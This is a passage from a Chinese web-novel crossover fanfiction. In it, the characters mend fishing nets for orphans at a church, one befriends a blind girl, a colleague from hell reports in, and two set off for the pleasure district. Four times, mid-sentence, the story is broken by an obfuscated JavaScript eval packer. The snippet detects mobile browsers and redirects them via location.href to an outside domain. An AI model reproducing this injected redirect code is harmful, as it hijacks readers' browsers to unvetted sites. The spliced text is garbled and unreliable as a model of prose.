被信乃怀疑了能力,笃志没好气地“哼”了一声:“别小瞧我,我在这里面不知道玩过多少回,找个东西而已轻而易举!走,阿虎,我们进去!” 阿虎开心地应了一声,跟着笃志跑进去,然后在仓库里就像两只敏捷的小猴子一样上蹿下跳。 信乃看得眉头直跳,高声喊道:“你们小心点,别在里面浪!” “知道了!别婆婆妈妈的!” 信乃啧道:“这俩臭小子。” 扶黎忍俊不禁,调侃道:“平时只看到庄介照顾你,你跟庄介顶嘴,难得看见你照顾别人还被顶嘴,怎么样,有没有体会到庄介往常的辛苦?” “我才没有这样。”信乃死鸭子嘴硬:“再说了,他们只是我的学生,我跟庄介之间是另一种关系。” 扶黎对此大为赞同,煞有介事地点点头:“那可不是,你和庄介的关系岂是他们能比的,从小一起长大的情谊不是说笑的。” 明明很正常一句话,也非常贴合实际情况,但不知道为什么信乃听起来总觉得怪怪的,他不自在地挠挠脸颊,还没来得及说几句话,仓库就传来小男孩高亢的声音。 “找到了!” 信乃的话忽然被打断,瞬间忘了刚刚要说什么,他对着仓库里喊:“那你们快点出来,拿网的时候小心点儿。” “马上!”笃志边说边胡乱抱起团成一团的渔网,艰难地往外走,时不时还会被拖在地上的渔网绊一下,好在他动作敏捷一路有惊无险。 将渔网重重丢到地上,笃志大冷天却热出了一头汗,他擦擦脑门微微喘着气:“你看看这些能不能用。” 信乃蹲下翻看,渔网有些年头了,在仓库里堆了这么久倒是没有鱼腥味儿,只有一股霉味儿,伸手使劲扯一扯,还算结实。 几人一起整理,各自往一个方向收拾,渐渐的缠在一起的渔网被细细捋开,其间也发现了几个破洞,有的不过拳头大小,有的比人都高了,几乎整片被撕开。 整理渔网花了一些时间还蹲的腰酸背痛,幸好成果可喜,渔网够大够结实,可以圈出一块可观的地块用来给孩子们玩球,就是这些洞有些惹眼,特别是那个几乎有一人高的,根本挡不住一点。 信乃站在最大的那个破洞口看了看,然后扭头望向扶黎:“这个是不是要补一补?” 扶黎:“当然,不然这可用不了。” 信乃苦恼地挠挠脸颊,他可不会这玩意儿,用自己贫瘠的缝补只是只能问出“要找针线吗”这样的话。 扶黎简直哭笑不得,这么大洞眼的渔网要怎么拿针线缝,更何况只是拿来做个围挡,于是他摆摆手:“不需要,你找几根绳子过来穿过这些洞附近的网眼,反复几次再扎紧就行。” 信乃并不笨只是没经验而已,扶黎一说他就明白过来,也知道该怎么做了。 正好仓库边上就放着一捆不用的麻绳,信乃便取过来,然后开始笨手笨脚地“缝缝补补”,虽然做得慢,最后成品倒还有些样子。 扶黎做这些已是就轻驾熟,别人刚补完一个洞,他已经补好三个。 笃志不由看直了眼,凑到信乃身边小声问:“这是谁啊?” 信乃头也不抬地把人往一边推了推,嫌他碍手碍脚,边答道:“我朋友,以后可能会过来给你们当一段时间老师,好了别偷懒,手上赶紧动起来。” 骤然得知这个消息,笃志大脑还没消化完毕呢,就被信乃催促个不停。 他噘噘嘴有点不开心,换以前他高低得呛上几句,但人总是会成长的,现在他已经是个大人了,所以他是不会生气的! 虽然成功将自己安抚好,但笃志实在好奇,可信乃又不想跟他多解释,下意识的他扭头看了看另一边的扶黎,脑海里顿时冒出“这个人看起来很好说话,应该不会不耐烦”的想法。 正想着,扶黎冷不丁朝这边看了过来,笃志和他对上视线,仿佛大脑卡壳般就这么傻傻的盯了半天,回神的瞬间脸一下红透,他欲盖弥彰地低下脑袋,试图掩饰自己的尴尬。 然而人一旦开始好奇就很难压下去,安分了没一会儿笃志又开始蠢蠢欲动,这次他开始一点点地扭过头,以为自己做的已经够隐蔽,没想立刻就和扶黎的视线再次不期而遇…… 大概尴尬着尴尬着就习惯了,这次笃志很快平静下来,他大胆迎上扶黎的目光,声音却异常的小:“你真的会来当我们的老师吗?” 啊,是想问这个啊。 扶黎冲他温柔地笑了笑,笃志立刻又微微红了脸,傻傻的看着就不太聪明的样子。 “你希望我来当你们的老师吗?”扶黎坏心眼地将问题扔了回去。 笃志一时语塞,让他老老实实承认那是不可能的,他只会嘴硬地说:“我们连你是谁都不知道,才不会想让你当老师……哎呀!” 话刚出口他头上就挨了一下,一回头才发现信乃正一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389415|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严肃地站在他身后:“跟谁说话呢,知不知道要尊重老师,这可是我好不容易给你们请到的。” 也没那么不容易啦,扶黎悄悄抿了抿唇,都算得上是他自己提出来的,不过看信乃这个样子应该是在调教学生,他还是不插嘴好了。 “你年纪也不小了,再过几年就得离开这里自谋生路,怎么一点都不上心?”别看信乃平时不着调,这会儿摆起老师的架子倒是像模像样,他两手叉在腰间,眉头紧锁,对着笃志絮絮叨叨:“有脾气不服输也没什么,但不要时时刻刻都这样,像只战斗的公鸡,像这样到了外面谁会给你工作?” 笃志被说得脸色很不好看,也不是听不进去,主要是在别人面前被这样讲,多少觉得掉面子,没看一旁阿虎已经捂着嘴“噗噗”笑出了声。 没好气地瞪了阿虎这个没义气的一眼,笃志捂着揉揉后脑勺一脸抑郁,虽然很想现在就不管不顾地大吼一通再跑掉,但都被信乃这么说了,在这样样做不就证明他根本毫无成长嘛,而且不得不承认信乃说得不错,他因此显得理不直气不壮,只得弱声弱气的:“确实是今天刚认识的他,完全不了解啊,我也没有说别的……” 他的声音在信乃的眼神逼视下越来越小,最后干脆住了嘴。 扶黎终于看够了戏,像个姗姗来迟的和事佬过来打圆场:“好了好了,他只是跟我开个玩笑而已,也没有说不好听的话,小孩子总是会比大人活泼一点,这种程度还算不上问题,教育就留到下次他真的干了不好的事吧。” 劝完,扶黎又很有情商地去夸信乃:“没想到你当老师竟然这么负责,我对有改观诶。” “是吗?我本来就很负责。”信乃不由得意,忽然觉得哪里不对,狐疑地看过去:“你刚才是不是夸完又贬了我一下?” 扶黎眨眨眼,表情无辜:“哪有,我很真诚的好嘛。” 下一秒还有点迷糊的信乃就被扶黎以还有很多活儿要干,别磨蹭了赶紧继续给带了过去。 笃志:……新老师恐怖如斯! 阿虎:发生了什么? 整理渔网还算轻松,补渔网就稍微麻烦一些,能围一个小场地出来需要的网长度肯定不短,除了破洞之外,有些地方还好需要将两张网拼接在一起,工作量非常可观。 蹲了一会儿就腰酸,得时不时站起身来缓一缓,来回这么几次后信乃开始对自己的决定产生怀疑:反正也没有踢到过几次人,有必要围个地方出来?最重要的是在这里缝渔网看起来真的很傻很闲的样子,是没有别的事干了吗? 唯一的安慰只有扶黎后面给他端来的小板凳,终于不需要干五分钟站一分钟,变成了干十分钟歇一分钟……也没有好到哪里去。 自己决定的事怎么能自己先放弃,再加上还把新认识的朋友拖下了水,一向没啥耐心的信乃只能任劳任怨的干下去。 于是,等庄介忙完前院的事,刚进后院就被眼前的场景惊得差点打个磕绊。 40.第 40 章 后院可以说是乱糟糟一片,从仓库拖出来的网就这么维持着散开的模样散乱在地上,几个各自最高的男孩儿正在挖坑,而信乃则在指挥他们挖坑。 庄介:……?? 怎么回事,只是一会儿没看到就又开始上房揭瓦了? 眼看好好的地方被嚯嚯成这样,庄介连忙绕过脚下土堆,走到信乃身后拍了拍他的肩问:“这里怎么回事?” 信乃正头疼这群小崽子听不懂人话,让他们挖个坑各种出错,不是挖错位置就是挖的不够深,这还是在他已经教过的基础上,如果他们能机灵一点,地面就不会像现在这样坑坑洼洼,好好的后院已经不能看了。 一看到庄介他就像看见了救星,大吐苦水:“庄介你可算来了,这群小崽子到底能不能张张脑子,只是让他们挖几个埋支撑杆的坑,就出这么多幺蛾子,正事到底什么时候才能做完?” 庄介面带微笑扶住有些激动的信乃,看起来非常“核善”,他又问了一遍:“所以说你到底在干什么?” 熟悉的笑容让信乃微微打了个寒噤,他一秒冷静下来,给庄介说了下自己要围个小型足球场的事。 庄介听完立刻头不疼了,他甚至欣慰起来,难得信乃要正经做件事,自己肯定要得帮忙,看了看简陋的场地后,庄介认真建议道:“这种软土地只靠挖洞埋得挖很深才能撑住杆子,他们挖上两天都挖不完,找几根树枝在底部撑一下吧,只是为了简单支张网应该绰绰有余,也方便后面孩子们维护,还有要先量好尺寸,既然他们不知道该在哪里挖,就先在地上打个标记。” 几句话的功夫庄介就安排得明明白白,信乃感觉自己失业了,不过没关系,这个业失得好,再不失业他得失手揍人。 庄介的到来不仅救了信乃,也救了被信乃“折磨”的童工们,真是一将无能累死三军,信乃给他们指挥的团团转,一顿操作猛如虎一看进度0.5,实在伤人。 不过现在一切都结束了,在庄介的重新安排下,后院已经变得井然有序,大家都待在自己该待的位置上,埋头干活儿,整个院子一时间只剩下铁锹挖土和钉钉子的声音。 庄介帮信乃收好尾,在院子里环视一圈后忽然想起什么,问:“扶黎去哪儿了,他不是跟你一起来的后院?” “啊,他带着几个孩子去外面砍树了。”信乃拍拍腿上一堆草屑原地蹦跶几下,这些草屑一旦碰上就很容易依附在衣服上任何一个角落,信乃只是在院子里走了一圈,回来就黏上了这么多。 庄介伸手帮他拍了两下,边问:“砍树做什么?” 信乃:“扶黎说仓库里那些木头都不够粗也没有刷防水,用上几个月再被雨水泡一泡很快就会坏,所以要多准备一些备用品,最好能刷一层桐油。” 木头刷上桐油后会延长使用寿命,但现在没有,只能凑活着来。 “这事我知道了,过几天去市场的时候顺带买两桶回来,让孩子们自己刷,木头要是朽了也让他们自己换吧。”庄介望了望满院的孩子:“都说穷人家的孩子早当家,这些孩子还不如穷人家的孩子,有些事能让他们做就让他们自己做吧。” 不由自主的,庄介想到了自己的孩童时期,太过久远的他已经没有记忆,但跟着母亲颠沛流离,不知吃了多少苦头才重新找到落脚的地方,还是在他的脑海深处残留了些许痕迹。 再看这些孩子便有些感同身受,比起自己好歹还有母亲照料,他们才是真正无依无靠,现如今母亲的面容他也已尽数遗忘,仿佛记忆和情感都随着苍的剥离而一起被剥离了出去,提起她庄介既不感到怀念也没有难过,只是平平淡淡。 眼神暗了暗,庄介收回发散的思绪,继续收拾起散落在地上的工具,边让信乃别碍手碍脚:“你要是没事就去找扶黎,管理的工作做不了,下力气的暂时也做不了,就去陪陪客人,没见过人家没上门几次就让人干活的,还让他一个人去,不知道还以为你交朋友就是为了让人干活儿。” 庄介嘴毒起来和他体贴的程度成正比,能有多体贴嘴就能有多毒,并且是用那种温温柔柔的语气,信乃被他挤兑得还不了嘴,只能灰溜溜从后门一溜烟跑掉。 外面都是自由的气息,信乃张开双臂滑稽地做了个拥抱自由的姿势,在别人投来奇怪的视线前,他放下双手,花了5分钟的时间,慢吞吞走到扶黎他们砍树的地方。 树是这里最不值钱的东西,因为靠近山林,他们不会为冬季的柴火忧心,也可以直接上山砍树,只要不砍太多就没有人管。 他们不需要太好的木材,便没有挑挑拣拣,只在山脚边挑了两棵看着有碗口粗的准备砍下来。 几个孩子经常上山砍柴,因此并不需要扶黎过多帮助,他们自己就能互相合作着将树砍倒。 两棵树砍起来轻轻松松,扶黎因为插不上手,只能站在一旁盯着,大人无事一身轻,小孩奋力抡斧头,此情此景搞得他像是在雇佣童工,怪不自在的。 信乃到时看到的就是这样的画面,下一秒就想拉庄介过来瞧一瞧——虽然出乎他的意料,但只看结果的话,新朋友这次没干上活儿,所以对他的批评是不成立的。 道理是这样,但如果真这样做了,估计庄介也不会夸他做得好,只会说他怎么好意思这么厚脸皮。 砍倒的树被拖到一旁,扶黎眼尖看到晃荡过来的信乃,未语先笑:“你怎么过来了?又被庄介说了?” 信乃双手插在衣兜,缩着脖子耸耸肩,像只背壳的乌龟,语气无奈:“答对了,他非说我把你一个人打发到这里干活不好,天地良心,我可没有压榨别人的爱好,明明是你自己要来的,我只是没拦住而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457331|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 和庄介比起来,信乃明显玩不来客气那一套,他不喜欢虚头巴脑,随口一说也会当真,常因此将别人搞得哑口无言,不过这都怪那些人信口开河,怪不得信乃不会虚情假意。 扶黎被逗乐了,他哈哈笑着拍拍信乃:“那可真是委屈你了,明明是我主动请缨,怪不到你头上。” 信乃深以为然,有种自己找到了盟友的感觉,瞬间心情大好,也有心思干别的事了。 “地上的树要怎么处理?”信乃伸手比划了一下大小,又因为外面的温度迅速缩回口袋:“看着都不是特别大,但处理起来应该不轻松,要是不帮他们弄好了,这树也是放在仓库里落灰。” 虽然比普通人家的孩子能干一些,但让他们剥树皮、刨木头还是太难了,既没有专业工具也不会专业技巧,树没处理好说不定还会将自己弄伤。 扶黎也没指望现在就让他们上手处理这种高难度原木,这些都是为后面准备的:“仓库里还有一些处理好的,这批不急着用,你不是说之后要给他们找木匠师傅,所以这些就给留着他们练手,熟能生巧,不能光学不练。” “哇,你考虑得真远。”信乃自愧不如,想着自己这半年来老师是不是白当了:“我都想不到这些,光是平常的事就已经搞得我不想动脑,不过就算动了大概率也想不到。” 他们准备打道回府,树砍起来容易搬回去却不容易,扶黎搭了把手自己拖一棵,小孩子们合力拖一棵,信乃想帮忙但被扶黎挡了回去,他这身体状况可不能受累。 两人边走边聊,扶黎开玩笑:“那看来还是你的日常不够日常,太过惊险刺激大脑才不想运转了,至于你说怎么想得到,我想只要活的够长经历的事够多,大部分人都能做到,这是经验问题。” 信乃不服:“你看起来年纪也没多大,最多二十几,我要不是被村雨附身外表可是十八岁,你能比我大多少。” 最多也就七八岁吧,不能再多了。 扶黎笑笑不说话,何止七八岁,七八百岁也是有的,不过在地狱他的年纪并不算大,甚至称得上年轻,谁让那里全都是些上了年纪的“老人”。 这些就不必告诉信乃了,听起来很像是在骗人。 回到教会,后院的工程进行得如火如荼,几根杆子已经全部立起,底部的泥土下了大力气踩得实实的,庄介又带着人做加固,希望能让它们支撑得更久一些。 全部弄好之后,就要将渔网固定上去,本来是想用绳子一节节绑上去的,但这样不仅费绳子还费时间,以后想换下来还得得一个个解开来,实在不方便,绳子也不定能绑牢,这么重很容易滑脱。 最后他们还是选择了给木头钉上钉子,不全部钉进去,尾端留下一些,正好可以将网挂上去,这样将来不管是取下来还是安上去都很方便。 41.第 41 章 什么活儿都被庄介大包大揽了,扶黎乐得轻松,坐在一旁吃杏干儿。 倒是信乃还有点蠢蠢欲动,总想着上去帮一把,搞得庄介很是不解,总怀疑信乃是不是转性了,以前他可是能逃就逃,哪里愿意主动干活。 扶黎在一旁看得清楚,他就是“贱得慌”,以前让他干他就是不干,现在身体没恢复不能干活他又开始找存在感,简直天生反骨。 庄介稍稍困惑了一下,还是分了信乃几个无关紧要的小活计,给他哄得开开心。 扶黎才不去凑热闹,今天本来就只是过来看看,没想到一趟下来竟然又给自己揽了个活儿,这可真是赔了夫人又折兵,出师不利。 “唉……”他重重叹了口气,边伸手去摸杏干儿。 一只小手忽然伸过来碰到了扶黎胳膊,软软凉凉的像一颗果冻。 扶黎微微一愣低下头去,便见一个小女孩儿正仰头看他,大大的眼睛本是这张脸的加分项,可面前这双却是灰蒙蒙,像两颗灰色不透明玻璃珠,大而无神。 她呆呆望着扶黎却不说话,像个没上弦的人偶只是一直仰着头一动不动,大概是没想到这里还有个人,冷不丁碰到,一时受惊忘了动弹,是个胆小的小姑娘。 扶黎很快就将面前的女孩和信乃曾经告诉过他的几个孩子对上了号,因为特征太过明显了,甚至没有猜的必要。 扶黎抬手在她脑袋上揉了一把,温柔问道:“你是佳穗吗?” 佳穗没有躲开,她好像天生钝感,就算被陌生人摸了头也只是顺从地站在那里,她的眼睛顺着声音传来的方向调整角度,虽然不能看见但却神奇地找准了位置,如果不是瞳孔焦距没有对准她看起来就像个正常人。 小姑娘表情懵懂,细声细气:“我是佳穗,你是谁?信乃老师带过来的朋友吗?” “是啊。”扶黎简直拿出了自己十二分耐心,怕吓到这个小小的孩子,连声音都不敢大一些:“刚刚没看见你,是待在屋子里没出来吗?” 佳穗点点头:“外面太冷了,我不能像其他人一样到处跑跑跳跳暖和身子,所以天冷的时候都会待在屋子里不出来,这样既不会给别人添麻烦,也不会受寒生病。” 扶黎这才注意到她身上的衣服虽然干净却并不厚实,大概是富裕人家捐过来的旧物,原本很厚实穿时间久了就开始变薄,只能多叠几层勉强增加些御寒度。 扶黎怜爱地摸了摸她冻得有些发红的小手,忽然想到什么,摸出毛一条茸茸的小毯子给她包起来,也是这孩子眼睛看不见,周围也没人在看这里他才能顺利地将毯子拿出来。 灰色小毛毯将佳穗衬得更加苍白瘦弱,两只小手无措地抓住毛毯,看不见让她不知道到底发生了什么,只知道一下子变得暖和起来,身上的东西摸起来毛茸茸,只一会儿便积聚起如涓流般的暖意。 耳边再次响起这个陌生青年的声音:“小毛毯送你了,本来就是家里多出来的东西,与其放着生灰不如给需要它的人,这样你冬天也能偶尔出来散散步,老是闷在屋子里对身体不好。” 被猝不及防的善意包裹,佳穗一时愣住不知如何是好,半晌才慢慢点了点头,小声道:“谢谢。” 扶黎像个慈祥的叔叔,往她手里塞了两块杏干,佳穗小口小口啃着不大的杏干,酸酸甜甜的味道让她露出腼腆的笑容,小小的矜持的,就像一朵开在路边不惹人注意的小野花。 扶黎一边略感欣慰,一边却又不由自主开始发散思维:这个孩子命不好啊,双目失明这种情况就算在各种设施都很便利的现代也很麻烦,很多失明人士宁愿一直待在家里也不愿意出门,怕给别人添麻烦也怕在路上根本不知道往哪里走,而就业谋生对他们来说也不是一件易事,能做的工作被压缩到几乎不剩几个。 现代尚且如此,在这个科技进程相当于现世18世纪至19世纪初期的小世界当然更加艰难,眼盲的女性大概除了嫁人很难找到更好的出路,如果有个好家世倒是能多些选择,而像这样孤儿出身的一般人家都不会考虑,可想而知最后只能嫁给什么人。 种种想法在脑中掠过,扶黎面上不显依旧带着慈祥的笑容,然后直接塞了一袋果干给佳穗,让她跟小伙伴分着吃。 “这是什么?好吃吗?”信乃忽然从一边探出脑袋,脸上满是里面的果干都好诱人的样子。 "要吃吗?"佳穗抬手乖乖递过去。 信乃当即高兴地摸了摸她的头夸她懂事,也没多拿就尝了一个试试味道,吃完还嘱咐佳穗:“别全分给别人,不然他们以为你好欺负,一个人最多分两个,剩下的留着自己慢慢吃。” 佳穗犹犹豫豫:“这样……会不会不太好?” “这有什么不好的。”信乃振振有词:“本来就是给你的东西哪有全分给别人的道理,当然得自己占大头,再说了这么多人每个人多分一块袋子说不定就空了,你啊可以大方但别太大方,不然以后容易吃亏。” 这对还是孩子的佳穗来说太深奥了,她有些听不懂,只会一个劲儿点头。 信乃看出了这点,意识到多说无益,便只强调一定要记住不要那么随意就把东西给别人,他会检查的,这时候他看起来就像个顽固的大家长。 直到佳穗在另一个小女孩的帮助下去给其他小伙伴分果干,信乃站在走廊上远远看着,不知道是因为有信乃撑腰,还是因为这里的孩子本性不坏,大家都没有计较只拿到两个,只为难得吃到小零食而感到高兴。 “你现在真像个老父亲。” 信乃表情一僵,他不可置信地扭头去看扶黎,一根手指还指着自己,仿佛在问:你说我吗?! 扶黎被他的反应逗笑了:“现在就差一面镜子放在跟前给你看看,一看你就知道我说的不错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534019|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 信乃不太服气,大声为自己辩驳:“我只是关她好吗,关心!任何一个有善心的人看到这样的小孩子都会这样的!” 看信乃快炸毛了扶黎见好就收,他举起双手做投降状:“好好好,不像不像,是个好心的大哥哥行了吧。” 光说还不行,还得配合分外诚恳的语气和表情,没看信乃神色很快就缓和下来了嘛。 “哼哼。”信乃仿佛大获全胜般在另一边坐下,只是这样的神气并未维持多久,不知想到什么信乃高涨的情绪忽然熄减,像是点燃的草堆被水浇灭变得湿哒哒的,而信乃也叹了口气。 扶黎为这瞬间变得低沉的气氛感觉莫名其妙,他放下茶杯低声询问:“怎么不开心了?谁又惹你了?刚刚不是还好好的吗?” “没有,只是突然意识到某些事。”听到扶黎关切的话语,信乃似乎恢复了一些活力,他苦恼地仰头望天:“这次聊到他们未来的出路后,我好像才开始思考起佳穗往后到底会怎么样。” 信乃顿了下:“也不是我有多好心,大家处熟了之后产生感情是必然的,当然没办法看着这些人走上满是痛苦的道路,但些微的同情没办法让我一直去帮他们,不提情感上能不能坚持只谈现实也有很大困难,给他们规划前路已经是最好的办法,只是佳穗很难办啊……” 也没有理由让教会一直养着她,教会虽然做慈善却不是冤大头,他也担心一旦出现一个例子,接下来就会有更多人想着赖下来。 信乃想的不是没道理,但扶黎对此持较乐观意见,而且觉得他想太多:“教会在这边势力有多大你应该比任何人都清楚,别说是几个孤儿院出来的孩子,就算是皇室也要礼让三分,不过是留个没办法独自生活的孤女,谁都不会在意的,再说了你当这里的条件有多好?长大了他们未必愿意继续待在这里。” 见信乃听进去了,扶黎喝了口茶继续说道:“也不是真让教会白养着,我看这边的两个老太太年纪都大了,也不知道还能照看这里多久,但只要花街和贫民窟还在,被抛弃的孩子就不会少,既然如此不如将她往照顾孩子的方向培养,就算眼盲,一个地方待久了也能靠记忆慢慢熟悉,做饭打扫多花些时间也能学会,只是这样的生活必定清苦,一眼就能看到头,未来她如果有更好的出路也不用拦,不要把她当做你的责任,万事不能尽善尽美,只求心安理得。” 这番话信乃有没有听进去不知道,只看表情确实放松了些,但扶黎没空去管他了,因为有一颗鬼鬼祟祟的脑袋正在墙头来回闪现。 明明是如此显眼,但周围却没有一个人察觉,就像看不见一样。 他们当然看不见,因为趴在墙头的不是别人,正是跟他从地狱过来的小原恭平。 随便找了个借口暂时离开座位,扶黎一路目不斜视出了后院的门,然后立刻看见了墙上撅着的……大屁股。 42.第 42 章 扶黎痛苦地闭了闭眼,任谁在墙头看见同事的屁股扭来扭去都会是他现在这副表情。 不过大风大浪见多了,这种小场面顶多在他心间激起一点小小的涟漪,再睁眼时扶黎已经重新整正好情绪。 他左右看了看见四下无人,走到墙边轻咳一声:“你干什么呢?” “啊!”被突如其来的声音吓了一跳,小原手下一滑“呲溜”便从墙头摔了下来,还是屁股着地的那种。 扶黎吓了一跳,顿时也顾不上周围有没有人看着了,连忙上前扶人病连声道歉:“没事吧?抱歉,我没想到会吓到你,但你在墙头上你没看见我出来吗?” 小原恭平龇牙咧嘴揉着屁股,非常不好意思的样子:“其实我刚才光顾着看那边的孩子在干什么,压根没注意到你出院门。” 扶黎:“……” 他无语地扶了扶额,有些哭笑不得地道:“那你倒是挺有童趣,一把年纪了还能看一群孩子搞手工看出神。” “这不是在地狱很少能看到这种场景嘛。”小原龚平振振有词道:“看看人类崽子还蛮有意思的,笨手笨脚力气也小挖个坑还得挖这么多下,让我都开始不由自主怜爱了,相比之下地狱的崽子们就是太凶悍了。” 他这句话倒是没说错,地狱的孩子们哪怕是唐瓜、茄子这类较弱的小鬼力气也算不上小,相比起人类小孩儿不知大多少倍,这也是为了适应地狱的特殊工作需要,因此每一个都身强体壮,破坏力极强,全靠学校里更加身强体壮的老师全权负责。 现在他的心态就跟路上看见几个毛茸茸的小鸡仔,一戳就倒还会叽叽叫,可不就想上去薅两下。 然而想象很丰满现实很骨感,扶黎不得不告诉他部分事实,人类幼崽看起来可可爱爱,但那只是看起来他们大部分时候都是小恶魔,只适合适当观赏。 “真的吗?”小原恭平半信半疑,在扶黎的注视下磨磨蹭蹭又攀回了墙头。 仿佛为了验证扶黎所说,就在他爬上墙头的下一秒,院子里两个男孩闹了起来,你抱着我脑门我死死搂着妳腰,双方都使出了吃奶的劲儿,嘴里还发出礼让这个年龄的孩子特有的尖锐童音,像两个烧开的热水壶,接下来就是各种劝架的声音。 小原恭平默默从墙上滑下来,好像什么都没发生过一般,他整了整衣领一本正经道:“我们将那片区域彻底探查了一遍,并没有找到什么可疑痕迹,再待下去也是浪费时间,佐井队长决定试着寻找其它地点,让我过来通知您一声。” “啊,这个啊……”扶黎对此从善如流,并未再提刚才的事,他只是歪了歪头微笑道:“这件事由你们全权负责,并不需要事事都向我汇报,我们是同事而不是上下级关系,所以按你们的想法来做就好,在这件事上迎接科才是专业的。” 哇,真是太会说话了! 小原恭平承认自己有被夸到心巴上,最重要的是对方用的是陈述事实的语气,就是这种漫不经心的态度夸起人来才显得特别真诚,他一瞬间就被蛊到了,忍不住呲出两个大牙傻乐仿佛傻憨憨:“那下次我就不特意过来了,除非遇到重要的事那就再说。” “遇到紧急的再说吧,其它的我相信你们能处理好。”扶黎好像个不想干活儿的老板,疯狂给员工洗脑他们是最棒的。 虽然不知道有没有用,但看小原恭平的表情,他确实被夸的很开心,单这方面来说确很成功。 小原恭平来去匆匆,交代了暂时一无所获的结论后便打道回府,看来他们今天还不会就这么暂停搜寻工作。 这么一对比感觉自己可真会偷懒,不过偷懒是人之常情嘛,扶黎理直气壮地伸了个懒腰,慢悠悠晃回院子里。 刚才的一场小小纷争已经彻底结束,两个小男孩有些抹不开面子谁也不跟谁说话,但地方就那么大一抬头就会碰到,视线也时不时对上然后尴尬地挪开,其实两人都有服软的意思却不想最先低头,这个年纪正是最看重面子的时候,让他们说声对不起简直比登天还难。 幸好这里有很多孩子,还有很会照顾人的庄介,大家你一言我一语之下,两人不小心接了一句话,接下来便顺其自然合好了。 最后只有信乃看完这场“闹剧”,对刚刚回来的扶黎痛苦脸道:“真是好吵啊……” 扶黎抿着嘴巴努力忍笑,看他再继续待下去就要抓狂了,扶黎只要提议两人出去在附近逛一逛。 本来这就是他这次过来的目的之一,结果不小心在教会多花了些时间,差点忘记。 走之前必须得跟庄介说一声,庄介知道后立刻面露拒绝,看着不太想让信乃脱离自己的视线独自去花街那边。 扶黎初时还觉得奇怪,庄介最近是很紧张信乃安危,但也不至于在附近逛一逛就这么坐立不安,保护过度的样子,而一向不服管教的信乃这回更是竟然没顶嘴。 很快他就知道了原因,原来是之前信乃在花街因为一时好心差点被人枪杀,后面就算靠着村雨勉强活下来也在帝都大闹了一场,现在回想起来都让人后怕。 扶黎听得心有戚戚开始理解庄介,当下就拍着胸脯保证:“放心,我一定看好他,也绝对不进任何一家风月场所,就在街上逛一逛,那边除了少儿不宜的不是还有很多卖吃食的嘛,我们边逛边吃,回来的时候会带一些回来给这边的孩子,就当是给他们难得的加参,我请客!” 最后两个字大概最重要,因为“请客”两个字一出信乃眼睛一下就亮了,连看向庄介的眼神都从别扭变得积极起来。 庄介无奈扶额,只好给扶黎提前打预防:“他很能吃的,你要是请客得做做好出点血的准备。” 这有什么,扶黎拍拍口袋自信满满:“尽管吃钱管够,更能吃的我都见过。” 这可不是乱说,他身边就是有这样的人,瞅瞅阎魔大王和鬼灯的饭量,就会知道真正的大胃王到底是什么样子。 这其中阎魔大王体型大吃得多能理解,但鬼灯……他时常怀疑鬼灯的胃通向另一个次元,否则怎么能塞下胃容量至少三倍的食物,简直天选大胃王体质。 扶黎都这么说了,出于信任庄介没再阻止,只是反复叮嘱不要让信乃乱跑,尤其不能让他进那些乌七八糟的地方。 离开教会的瞬间信乃夸张地舒了口气,好像出笼的小鸟。 扶黎忍俊不禁却没有开口逗他,只是用美食诱惑:“想吃什么?就算很贵也可以请你哦~” “嗯……”被天降馅饼砸中的信乃这次反而犹豫起来,嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14660881|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半天都没嗯出个结果,最后干脆一摆手表示:“先到街上看看,看中哪家去哪家!” 雄赳赳气昂昂一派要去打架的气势,扶黎紧随其后,生怕把人跟丢了。 冬日的花街一如既往充斥着暧昧享乐的气息,屋檐下红灯笼已经点起,衬着天边落日余晖更添一层旖旎之色,客流并未因天气寒冷就减少,或许是因为天气太冷无法工作的缘故,出来寻欢作乐的男人甚至更多了。 女人们穿着清凉言笑晏晏,她们或是靠在窗边,或是倚在门前,对路过的客人发出邀请。 